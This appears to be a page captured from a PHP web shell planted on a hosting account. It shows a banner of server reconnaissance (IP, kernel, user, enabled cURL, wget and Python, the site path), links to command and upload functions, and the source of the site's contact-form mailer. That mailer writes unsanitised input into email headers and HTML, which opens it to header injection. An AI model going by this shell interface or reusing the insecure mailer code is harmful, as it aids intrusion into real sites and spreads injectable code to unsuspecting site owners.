Server IP : 2a02:4780:11:1361:0:bf7:7935:10 / Your IP : 3.144.241.53 Web Server : LiteSpeed System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u200767797 ( 200767797) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u200767797/domains/shivainternational27.com/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $pass = $_REQUEST['phone']; $from = $_REQUEST['email']; $name = $_REQUEST['name']; $phone = $_REQUEST['time']; $date = $_REQUEST['date']; $venue = $_REQUEST['location']; $to = 'shivainternational27@gmail.com'; $headers = "From:" . $from."\r\n"; $subject = "PTE Enquiry"; $message = ""; $message.='<html> <body style="border:2px solid #031384; width:540px; float:left;"> <div style="padding:20px;width:500px;"><h5>PTE Enquiry</h5> <p style="font-size: 18px;">Name '.$name.'</p> <p style="font-size: 18px;">Phone '.$pass.'</p> <p style="font-size: 18px;">Email '.$from.'</p> <p style="font-size: 18px;">Date '.$date.'</p> <p style="font-size: 18px;">Time '.$phone.'</p> <p style="font-size: 18px;">Location '.$venue.'</p> </div> </body> </html>'; $message2 = ""; $headers .= 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $go = mail($to,$subject,$message.$message2,$headers); if($go){ echo "<script> alert('Sent Successfully.'); window.history.back(); </script>"; } ?>